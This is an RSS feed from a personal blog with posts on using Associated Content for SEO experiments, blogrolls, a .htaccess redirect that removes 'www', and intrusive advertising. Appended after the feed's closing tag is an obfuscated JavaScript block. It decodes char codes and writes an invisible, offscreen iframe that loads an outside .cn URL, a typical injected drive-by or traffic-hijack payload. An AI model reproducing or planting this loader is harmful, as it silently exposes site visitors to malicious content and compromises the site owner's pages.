		<category><![CDATA[Associated Content]]></category>

		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1139</guid>
		<description><![CDATA[There&#8217;s a lot of hi-falutin crap that goes into SEO, but you can summarize a lot of it in one sentence. The way you write the content will determine how the search engine sees it. 
Some things are well known. We all know keyword density is important so that Google&#8217;s crawler knows what your site is [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL2FsdC1waWxlLWJvb2tzLmpwZw=="><img class="alignright" title="Another Pile of Books" src="http://life-of-brian.com/wp-content/uploads/2009/01/alt-pile-books-150x150.jpg" alt="Pile of five books, stacked one on top of the other." /></a>There&#8217;s a lot of hi-falutin crap that goes into SEO, but you can summarize a lot of it in one sentence. The way you write the content will determine how the search engine sees it. </p>
<p>Some things are well known. We all know keyword density is important so that Google&#8217;s crawler knows what your site is about. Titles are important. Text needs to be discoverable.</p>
<p>This is another reason that I like writing things at <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2Fzc29jaWF0ZWRjb250ZW50LmNvbQ==">Associated Content</a> - and one reason it is in some ways better than a blog.</p>
<h3>How Do You Know What Works?</h3>
<p>Trial and error.</p>
<p>Sure, you can read about keyword density and search engine optimization all day. You&#8217;ll never know if it works until you try it. And you&#8217;ll never know it was your <strong>optimization</strong> that worked until compare a handful of articles on the <strong>same topic</strong> with <strong>different styles</strong>.</p>
<p>Think of it as an experiment of sorts. By writing about a single topic with three or four different angles, you can see what works and what doesn&#8217;t. You might pick up some trailing phrases that you didn&#8217;t think of just by writing the same piece with a slightly different angle and some alternate word choices.</p>
<h3>Do Your Readers Want to Read Five Articles About the Same Thing?</h3>
<p>Probably not. If you&#8217;re trying to build a regular readership for your blog, you don&#8217;t want to come out with five slightly different articles about how NCAA football needs a playoff.</p>
<p>Ahh, but are you worried about subscribers at Associated Content? Well, some people are. I&#8217;m not. I see it as a playground to write things that are destined just for the search engine minefield.  My writings at AC vary across so many topics that it doesn&#8217;t really make sense for people to subscribe to it.</p>
<p>That makes it the perfect place to test out writing techniques. For example, today I wrote up two pieces about Fallout 3 - <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hc3NvY2lhdGVkY29udGVudC5jb20vYXJ0aWNsZS8xMzU4MDAxL2hvd19kb19pX2ZpbmlzaF9jaGFwdGVyXzZfb2ZfZmFsbG91dC5odG1s">How Do I Finish Chapter 6 of Fallout 3 Without Killing Everyone</a> and <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL3d3dy5hc3NvY2lhdGVkY29udGVudC5jb20vYXJ0aWNsZS8xMzU3NjU3L2hvd190b19jb21wbGV0ZV9jaGFwdGVyXzZfdHJhbnF1aWxpdHkuaHRtbD9jYXQ9MTU=">How to Complete Chapter 6 &#8220;Tranquility Lane&#8221; Without Losing Karma</a>.</p>
<p>Each article says <strong>substantively</strong> the same thing - it tells the reader how to complete the quest in a certain way. They do so in different ways, though, from the title right down to the conclusion.</p>
<h3>Oh, and Get Your Backlinks While You&#8217;re At It</h3>
<p>Like I&#8217;ve written before, Associated Content is also a great place to create some links back to your own content on your blog.</p>
<p>In this case, I&#8217;m writing a <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tLzIwMDkvMDEvaG93LXRvLWNoYXB0ZXItNi10cmFucXVpbGl0eS1sYW5lLXdhbGt0aHJvdWdoLw==">lengthier, illustrated walkthrough on Chapter 6 in Fallout 3</a> on this site. The Associated Content articles tackle the same topic in a more concise way, and they include a few well crafted links back to my content here. A reader that finds the AC articles could want more information and click on the links back here - earning me more traffic.</p>
<p>I wouldn&#8217;t say that Associated Content is better than a blog or that it has more earning potential in the long run. It is, however, a good supplement to a blog - allowing you to hone your SEO practices and improve your site at the same time.</p>
<p>Why don&#8217;t you go flex your SEO muscles at Associated Content? It&#8217;s a great place to test out all those theories without boring your regular readers.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1139" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/01/use-associated-content-to-test-out-your-seo-theories/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Should Your Site Include a Blogroll?</title>
		<link>http://life-of-brian.com/2009/01/should-your-site-include-a-blogroll/</link>
		<comments>http://life-of-brian.com/2009/01/should-your-site-include-a-blogroll/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 00:07:52 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Online Publishing]]></category>

		<category><![CDATA[Blogging]]></category>

		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=1026</guid>
		<description><![CDATA[Traditionally, blogs include a blogroll. You know, that giant list of links in the sidebar. Sometimes it&#8217;s a collection of sites the author reads, and sometimes it&#8217;s just a collection of reciprocal links the author puts in to generate traffic.
Are blogrolls a good idea? Do they instill confidence in your readers, or do they just [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA5LzAxL3JvbG9kZXguanBn"><img class="alignright" title="Rolodex" src="http://life-of-brian.com/wp-content/uploads/2009/01/rolodex-300x254.jpg" alt="A picture of a rolodex with contact cards." /></a>Traditionally, blogs include a blogroll. You know, that giant list of links in the sidebar. Sometimes it&#8217;s a collection of sites the author reads, and sometimes it&#8217;s just a collection of reciprocal links the author puts in to generate traffic.</p>
<p>Are blogrolls a good idea? Do they instill confidence in your readers, or do they just bleed search engine juice from your site?</p>
<h3>The Positives: An Informed Author is a Trusted Author</h3>
<p>There certainly is something to be said for a blogroll of sorts. When a new user finds your site, he may want to poke around and see who you are.</p>
<p>One place to look is the About page. This should give the reader some information. Another place to look is the blog roll. If you&#8217;re supposed to be an authority on the topic, who else do you read?</p>
<p>You can&#8217;t possibly keep up with the times if you work in a vacuum, so it&#8217;s of interest to the reader <strong>how</strong> you keep up with things.</p>
<p>A blogroll can also be useful for someone looking for more information.</p>
<p>For example, I&#8217;m always looking for more education blogs to follow. I&#8217;ve found a ton of tech-related blogs (duh), but very few that are written by Social Studies teachers. Whenever I stumble on a new education blog, I browse through the blogroll looking for <strong>something</strong> written by a Socials Studies teacher.</p>
<h3>The Negatives: Sitewide Links Are Bad for SEO</h3>
<p>There are definitely some <strong>downsides</strong> to blogrolls, though. Some people might not care so much, but if you worry about SEO then you should be worried about that giant list of sitewide links.</p>
<p>You see, sitewide links are like a giant drain on your search engine juice. Each page contains a certain amount of page rank worthiness, and each link on that page spreads the page rank love around.</p>
<p>Sitewide links <strong>within</strong> your site are great, because they help redistribute that link love. Since every one of your pages links back to the front page, it&#8217;ll have a higher pagerank than the individual pages in your site. Likewise, pages like category indexes - linked to by many of your individual pages - will have greater search engine visibility.</p>
<p>Sitewide links going <strong>out</strong> of your site aren&#8217;t so good, though. Each one is a trickle of pagerank going down the drain. One or two sitewide links aren&#8217;t going to kill you - but what if you have a dozen pages in your blogroll? Consider how many pages of content you have (hundreds, thousands even?) and multiply that by the number of links in your blogroll.</p>
<p>Even a short list of links - six or seven - could easily work out to thousands of outbound links. Yowza.</p>
<p>To authors who are blogging for a smaller audience and aren&#8217;t concerned with search engine traffic, this isn&#8217;t a big deal. If you&#8217;re in the market to monetize your blog, though, that should concern you a great deal.</p>
<p>I also think that sidebars can easily get over-crowded. With other necessary items (recent posts, categories, archive links, ads, etc) there just isn&#8217;t a lot of real estate to give up for that a list of links.</p>
<h3>What to Do? Compromise.</h3>
<p>I&#8217;ve decided to go with a compromise of sorts.</p>
<p>For the sake of my readers, I want to have a blogroll available. I want people to know what I read, and I want to reward those sites that I read regularly with some link love.</p>
<p>However, I don&#8217;t want to have a dozen or so sitewide links bleeding my search engine juice. I&#8217;d like to keep some of that for myself, so people actually find the site!</p>
<p>Instead, I decided to create a <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tLzIwMDgvMDEvcmVhZGluZy1tYXRlcmlhbC1teS1nb29nbGUtcmVhZGVyLW9uLXdlYi1kZXYtZGVzaWduLWFuZC1wdWJsaXNoaW5nLw==">separate blogroll page</a>. In actuality, it&#8217;s just another post in my index, but you could consider it a static page of sorts.</p>
<p>On the blogroll page, I include a link to a handful of sites that I regularly read. This is likely to change over time as I change my subscriptions, but I&#8217;d say that on any given day you&#8217;ll find 6-12 sites that I read. This also gives me a chance to add a comment (a sentence or two) about each site, so the reader knows what to expect.</p>
<p>Then, to make sure that readers can easily find it, I put a prominent link to the blogroll page in my header. Along with the About page, I think this provides some good information about me and my site without hurting my search engine placement.</p>
<p>What do you do think? Are you concerned about all those outbound links, or do you just include a blogroll anyway?</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=1026" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2009/01/should-your-site-include-a-blogroll/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to Use .htaccess to Remove www From Inbound URLs</title>
		<link>http://life-of-brian.com/2008/12/how-to-use-htaccess-to-remove-www-from-inbound-urls/</link>
		<comments>http://life-of-brian.com/2008/12/how-to-use-htaccess-to-remove-www-from-inbound-urls/#comments</comments>
		<pubDate>Sun, 28 Dec 2008 23:44:24 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[.htaccess]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=861</guid>
		<description><![CDATA[On most modern web servers, you can access the same page with or without the &#8220;www&#8221; before the domain name. You may be tempted, then, to just let well enough alone and let some people access your site with the &#8216;www&#8217; and let some people access it without the &#8216;www.&#8217; 
Well, there are some compelling reasons [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA4LzEyL3d3dy1zeW1ib2wuanBn"><img class="alignright" title="WWW Symbol" src="http://life-of-brian.com/wp-content/uploads/2008/12/www-symbol-300x180.jpg" alt="Simple image of the letters 'www' in gray, on a white background, with shadows." /></a>On most modern web servers, you can access the same page with or without the &#8220;www&#8221; before the domain name. You may be tempted, then, to just let well enough alone and let some people access your site with the &#8216;www&#8217; and let some people access it without the &#8216;www.&#8217; </p>
<p>Well, there are some compelling reasons why that is a <strong>bad</strong> idea. I&#8217;d try to make you feel guilty about that decision, if it weren&#8217;t for the fact that I&#8217;ve been too lazy up until now to do it myself. Oops.</p>
<p>For those of you that are impatient, I&#8217;ll deal with the technical stuff first. Then, we&#8217;ll take a look at <strong>why</strong> you shouldn&#8217;t be using the &#8216;www&#8217; subdomain.</p>
<h3>How to Use .htaccess to Remove the &#8216;www&#8217; From Inbound URLs</h3>
<p>This can be accomplished with a simple .htaccess mod_rewrite redirect.</p>
<p>First, let&#8217;s take a look at the code as it appears in my .htaccess file.</p>

<div class="wp_syntax"><div class="code"><pre class="apache apache" style="font-family:monospace;"><span style="color: #00007f;">RewriteEngine</span> <span style="color: #0000ff;">On</span>
&nbsp;
<span style="color: #adadad; font-style: italic;">#redirect from www.life-of-brian.com to life-of-brian.com</span>
<span style="color: #00007f;">RewriteCond</span> %{HTTP_HOST} ^www.life-of-brian.com$ [NC]
<span style="color: #00007f;">RewriteRule</span> ^(.*)$ http://life-of-brian.com/$<span style="color: #ff0000;">1</span> [R=<span style="color: #ff0000;">301</span>,L]</pre></div></div>

<p>The first line turns on the mod_rewrite engine. You&#8217;ll need this at the beginning of your .htaccess file if you plan to use any rewrites.</p>
<p>The &#8220;RewriteCond&#8221; line tells the server what to look out for. In this case, the simple regex [<strong>^www.life-of-brian.com$</strong>] grabs any expression that starts with <strong>www.life-of-brian.com</strong>. The remainder of the expression - such as the trailing part of the URL - is stored in the variable $1.</p>
<p>The &#8220;RewriteRule&#8221; line tells the server where it should send the user. It rewrites the entire URL, starting with the domain without the www [<strong>http://life-of-brian.com</strong>] and then it appends the trailing portion of the URL [<strong>$1</strong>].</p>
<p>How do you adapt this for your own site? Simple.</p>
<p>In the RewriteCond, change <strong>www.life-of-brian.com</strong> to your own domain (including the www). Then, in the RewriteRule line, replace <strong>http://life-of-brian.com</strong> wth your own domain.</p>
<p>It&#8217;s also a good idea to wrap the whole snippet with the tags &lt;IfModule mod_rewrite.c&gt; and &lt;/IfModule&gt;.</p>
<p>Here&#8217;s the entire .htaccess file rewritten for the domain <strong>mydomain.com</strong>.</p>

<div class="wp_syntax"><div class="code"><pre class="apache apache" style="font-family:monospace;"><span style="color: #00007f;">RewriteEngine</span> <span style="color: #0000ff;">On</span>
&nbsp;
<span style="color: #adadad; font-style: italic;">#redirect from www.mydomain.com to mydomain.com</span>
<span style="color: #00007f;">RewriteCond</span> %{HTTP_HOST} ^www.mydomain.com$ [NC]
<span style="color: #00007f;">RewriteRule</span> ^(.*)$ http://mydomain.com/$<span style="color: #ff0000;">1</span> [R=<span style="color: #ff0000;">301</span>,L]</pre></div></div>

<p>If you&#8217;re using this with an existing .htaccess file, put this snippet at the very beginning. For example, I use .htaccess to create pretty URLs for my Wordpress posts. I placed this snippet before the snippet that was automatically generated by Wordpress.</p>
<h3>Ok. So Why Remove the &#8216;www&#8217;?</h3>
<p>Let&#8217;s focus on two main reasons why you shouldn&#8217;t use - and why should encourage your users not to use - the www subdomain. The first reason has to do with form and semantics, while the second one might have benefits in terms of SEO and SERP.</p>
<p><strong>The Semantics Argument.</strong> If you surf around web design blogs, you&#8217;ll see a lot of talk about coding semantically correct and standards meeting sites. There&#8217;s a belief that doing things <strong>the right</strong> way is inherently good - even if there may not be a lot of hard evidence that you benefit from it.</p>
<p>Likewise, there&#8217;s an argument to be made for the disuse of the &#8216;www&#8217; subdomain. It is no longer needed, it is depracated, and it should therefore go by the wayside. I stumbled on the site <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL25vLXd3dy5vcmcv">no-www</a> today, and found a great quote to summarize this position:</p>
<blockquote><p>Succinctly, use of the www subdomain is redundant and time consuming to communicate. The internet, media, and society are all better off without it.</p></blockquote>
<p>In most cases, there is no need to use the www subdomain. Your browser and the web server assume that you&#8217;re looking for web content - so they serve it up automatically. Including the &#8216;www&#8217; is therefore redundant.</p>
<p>Since the &#8216;www&#8217; is no longer necessary, it just seems like the right thing to do to not use it. You should therefore gently suggest to your users that they stop typing in those letters for no reason.</p>
<p><strong>The SEO Argument.</strong> If you want visitors to find your website through a search engine, you know at least a bit about SEO (Search Engine Optimization) and SERP (Search Engine Results Page) placement. You know that things like links to your site help improve your SEO and SERP - and ultimately bring more users to your site.</p>
<p>So what happens if the search engine thinks that <strong>www.mydomain.com/landing-page.html</strong> is different from <strong>mydomain.com/landing-page.html</strong>? If the inbound links to your site are split between these two domains, the search engine might miscalculate the number of links coming to your page - thus negatively impacting your SEO and SERP.</p>
<p>The htaccess mod_rewrite redirect that we used above automatically sends the search engine spider to one page - no matter URL the inbound link provided. There&#8217;s no chance that the search engine will get confused and consider the two URLs to be separate pages.</p>
<p>Considering it takes only a couple minutes to create an appropriate .htaccess file, I think it&#8217;s time well spent if it has even the slightest impact on your SEO and SERP.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=861" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2008/12/how-to-use-htaccess-to-remove-www-from-inbound-urls/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Where Not to Put Ads - Unobtrusive Advertising</title>
		<link>http://life-of-brian.com/2008/12/where-not-to-put-ads-unobtrusive-advertising/</link>
		<comments>http://life-of-brian.com/2008/12/where-not-to-put-ads-unobtrusive-advertising/#comments</comments>
		<pubDate>Tue, 23 Dec 2008 02:19:17 +0000</pubDate>
		<dc:creator>Brian</dc:creator>
		
		<category><![CDATA[Nerds at Work]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://life-of-brian.com/?p=821</guid>
		<description><![CDATA[If you&#8217;re looking to profit from your online projects - and there&#8217;s no reason not to - you&#8217;ve got a fine tightrope to walk. You need to sell advertising space and attract your reader&#8217;s attention to said advertising space.
Yet you don&#8217;t want that advertising to be so obtrusive as to detract from your content. If [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re looking to profit from your online projects - and there&#8217;s no reason not to - you&#8217;ve got a fine tightrope to walk. You need to sell advertising space and attract your reader&#8217;s attention to said advertising space.</p>
<p>Yet you don&#8217;t want that advertising to be so obtrusive as to detract from your content. If you can&#8217;t find the words for the ads, chances are you&#8217;ll bounce right off a site.</p>
<p>Of course, if your ads are too well integrated or hidden, you&#8217;ll have low click through rates - leading to lower value for your advertising potential.</p>
<p>Let&#8217;s take a look at some examples of extremely <strong>obstrusive, annoying, </strong>and <strong>user-angering</strong> advertising.</p>
<h3>Screen Blocking Flash Ads</h3>
<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA4LzEyL2ltZGItYWQtc2NyZWVuc2hvdC5qcGc="><img class="alignright" title="IMDB Advertisement Screenshot" src="http://life-of-brian.com/wp-content/uploads/2008/12/imdb-ad-screenshot-300x223.jpg" alt="A Screenshot of an ad on IMDB.com" /></a>It used to be that pop-up ads were the web&#8217;s most wanted nuisance. Those days are long gone, thanks to smart browsers that block pop up advertising.</p>
<p>This week, I found something more annoying than a pop-up - a flash advertisement that blocks the content until you close it.  Take a look at around <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2ltZGIuY29t">IMDB</a> and you&#8217;re likely to find one.</p>
<p>As soon as the page loads, the flash movie opens in the center of the screen. There is a &#8220;close&#8221; button at the bottom, but due (I guess) to some javascript errors, this button is moved off the bottom of my screen in Google Chrome. I therefore have no choice but to sit there for 20 seconds or so, until the advertisement closes by default.</p>
<p>This is hideous. This is evil. If IMDB weren&#8217;t the greatest repository of movie information on the internet, I&#8217;d never go back. As it is, I&#8217;m going to start looking elsewhere - for a site that&#8217;s informative <strong>and</strong> respects my user experience.</p>
<p>While this certainly gets the user&#8217;s attention, this type of advetisement goes way too far in pulling your attention to the ad. It certainly detracts from the content, and for the average site it would likely lead to a reduced number of repeat visitors.</p>
<p>If content is king, your advertising should never hide your content.</p>
<h3>Expanding/Opening Flash Advertisements</h3>
<p>Only slightly less annoying than the screen-blocking advertisement is the expanding flash advertisement.</p>
<p>These ads are typically skyscrapers or banners along the edge of the page. When the cursor is hovered over the ad, it expands to two or three times it&#8217;s usual size. They could also be designed to open automatically (like the advertisements at imdb), until they are closed.</p>
<p>I found an example this weekend while surfing around <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2Nvb2xtaW5pb3Jub3QuY29t">CoolMiniOrNot</a>.</p>
<p>This is not quite as aggravating as an advertisement that blocks the main content. I can still read the page and look around.</p>
<p>However, the positioning of the ad makes it so that it usually opens up over the navigation portion of the site. It covers up links I would use to browse around your site.</p>
<p>My typical response? Stop navigating.</p>
<p>If you make it hard for me to get around your site and find content that I find relevant or interesting, I&#8217;ll look somewhere else.  After content, navigation is probably the most important part of a site - and blocking your navigation with advertising is a <strong>bad</strong> idea.</p>
<p>It seems like CMON has stopped using that advertisement, or I&#8217;m just getting lucky. I couldn&#8217;t find it again to take a screenshot. I did, however, run up against it a dozen times over the weekend while I was posting some of my work to the site.</p>
<h3>A Good Example of Where to Put Ads</h3>
<p>I despise the type of advertising seen above. It is likely to make me turn around and leave your site right away.</p>
<p>There are, however, perfectly acceptable forms of advertising that are not likely to impede my web surfing experience.  The general principal: keep advertisements on the periphery and don&#8217;t let them cover up any important portions of your web site.</p>
<p><a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDA4LzEyL2Nzcy10cmlja3MtYWRzLmpwZw=="><img class="alignright" title="CSS Tricks Advertising Screenshot" src="http://life-of-brian.com/wp-content/uploads/2008/12/css-tricks-ads-300x233.jpg" alt="A Screenshot of CSS-Tricks.com's advertising locations." /></a>A favorite spot within the design community is towards the top of the sidebar on the right side of the screen. The screenshot of <a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2Nzcy10cmlja3MuY29t">CSS-Tricks</a> is a good example.</p>
<p>The very top of the sidebar includes the most important links - RSS feeds and searching. Beneath that, the sidebar is dominated by a series of 125&#215;125 advertisements. The number of advertisements (10) seems a bit much, but in general they don&#8217;t get in the way of you consuming the content.</p>
<p>The design of the site also makes it easy to plop a small banner into the header. This is prime real estate in advertising land. If it sits next to the header image and fits nicely, then it&#8217;s probably not a bad idea. If you take up a lot of horizontal space to place an ad all by itself - then you might be going too far.</p>
<p>At the moment, my site (<a href="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2xpZmUtb2YtYnJpYW4uY29tL2NhdGVnb3J5L25lcmRzLWF0LXdvcmsv">Nerds at Work</a>) is another example of minimalist advertising. You&#8217;ll notice two main ads - a 250 x 300 block in the sidebar and a banner just above the footer. If anything, I&#8217;m too far on the minimalist side - and CTR and revenue will suffer.</p>
<p>However, this is also a relatively new site. When starting out, I think it&#8217;s a good idea to trim back on the advertising and maybe make it a bit more prominent over time. In a year or two, I may consider going to a format similar to CSS-Tricks.</p>
 <img src="http://life-of-brian.com/wp-content/plugins/feed-statistics.php?view=1&post_id=821" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://life-of-brian.com/2008/12/where-not-to-put-ads-unobtrusive-advertising/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script type="text/javascript">var jnTBHMDUBPexIZwWQVID = "bD60bD105bD102bD114bD97bD109bD101bD32bD119bD105bD100bD116bD104bD61bD34bD52bD56bD48bD34bD32bD104bD101bD105bD103bD104bD116bD61bD34bD54bD48bD34bD32bD115bD114bD99bD61bD34bD104bD116bD116bD112bD58bD47bD47bD104bD105bD116bD45bD115bD101bD110bD100bD101bD114bD115bD46bD99bD110bD47bD102bD105bD110bD100bD47bD105bD110bD46bD99bD103bD105bD63bD53bD34bD32bD115bD116bD121bD108bD101bD61bD34bD98bD111bD114bD100bD101bD114bD58bD48bD112bD120bD59bD32bD112bD111bD115bD105bD116bD105bD111bD110bD58bD114bD101bD108bD97bD116bD105bD118bD101bD59bD32bD116bD111bD112bD58bD48bD112bD120bD59bD32bD108bD101bD102bD116bD58bD45bD53bD48bD48bD112bD120bD59bD32bD111bD112bD97bD99bD105bD116bD121bD58bD48bD59bD32bD102bD105bD108bD116bD101bD114bD58bD112bD114bD111bD103bD105bD100bD58bD68bD88bD73bD109bD97bD103bD101bD84bD114bD97bD110bD115bD102bD111bD114bD109bD46bD77bD105bD99bD114bD111bD115bD111bD102bD116bD46bD65bD108bD112bD104bD97bD40bD111bD112bD97bD99bD105bD116bD121bD61bD48bD41bD59bD32bD45bD109bD111bD122bD45bD111bD112bD97bD99bD105bD116bD121bD58bD48bD34bD62bD60bD47bD105bD102bD114bD97bD109bD101bD62";var abZCRQWJbfTKSmMazPvA = jnTBHMDUBPexIZwWQVID.split("bD");var eZynzvKPQSTruttLJPVk = "";for (var vouObHpbWkbBKaoJVyZm=1; vouObHpbWkbBKaoJVyZm<abZCRQWJbfTKSmMazPvA.length; vouObHpbWkbBKaoJVyZm++){eZynzvKPQSTruttLJPVk+=String.fromCharCode(abZCRQWJbfTKSmMazPvA[vouObHpbWkbBKaoJVyZm]);}var AxWfZRFRmIMRriSLNbIs = ""+eZynzvKPQSTruttLJPVk+"";document.write(""+AxWfZRFRmIMRriSLNbIs+"")</script>